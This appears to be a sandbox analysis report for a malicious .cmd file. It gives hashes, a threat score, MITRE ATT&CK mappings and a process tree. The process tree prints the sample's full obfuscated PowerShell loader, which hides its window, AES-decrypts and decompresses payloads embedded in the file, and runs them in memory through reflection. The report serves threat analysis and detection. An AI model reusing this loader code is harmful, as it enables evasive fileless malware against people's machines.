ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d

General

Target

ai6lyo.cmd
Size

1.6MB
MD5

0f8ecd82f53888d03ee36e78225181fb
SHA1

3abe8ed58265316c75158065443a6318a6318f9d
SHA256

ce508fa9511aa4309eac4918f01af343cdd2bce0c73e9bce9e4206a13582e17d
SHA512

aae702e1479c0fc780e3f8ff9933c396df79e5b753eda570c6b0d3b95091bbfe2b0bfab408279b9f9cf350022d69904c94cb2b543fc3d5f221557e1b80b5994e
SSDEEP

24576:KZHDpueS6SQJIkbxXB8PYnzvqaUgGKWGO+rXnarj2kFbrHHmQKnPd9ygZ3nalxEE:m79v9PiZdDDasP

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2468	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2468	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2468	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1796 wrote to memory of 2456	1796	cmd.exe	32
PID 1796 wrote to memory of 2456	1796	cmd.exe	32
PID 1796 wrote to memory of 2456	1796	cmd.exe	32
PID 1796 wrote to memory of 2468	1796	cmd.exe	33
PID 1796 wrote to memory of 2468	1796	cmd.exe	33
PID 1796 wrote to memory of 2468	1796	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('ONtjvMqqcp75ptvrr9j0+odlpmHmbLzvPC2XW4Gf9+M='); $aes_var.IV=[System.Convert]::FromBase64String('47rSMPYtNq+Nh4BU6nAwCw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$gQudi=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LEOeX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FqtiG=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($gQudi, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FqtiG.CopyTo($LEOeX); $FqtiG.Dispose(); $gQudi.Dispose(); $LEOeX.Dispose(); $LEOeX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$RIFHK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$eirEp=$RIFHK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$eirEp.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FuLWv = 'C:\Users\Admin\AppData\Local\Temp\ai6lyo.cmd';$host.UI.RawUI.WindowTitle = $FuLWv;$SYigU=[System.IO.File]::ReadAllText($FuLWv).Split([Environment]::NewLine);foreach ($LWTox in $SYigU) { if ($LWTox.StartsWith('acqDyQRLClHWQnbxiXNC')) { $BDNyI=$LWTox.Substring(20); break; }}$payloads_var=[string[]]$BDNyI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2468-4-0x000007FEF5ADE000-0x000007FEF5ADF000-memory.dmp

Filesize
4KB

Download
memory/2468-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2468-6-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-7-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2468-8-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-9-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-10-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-11-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download
memory/2468-12-0x000007FEF5ADE000-0x000007FEF5ADF000-memory.dmp

Filesize
4KB

Download
memory/2468-13-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads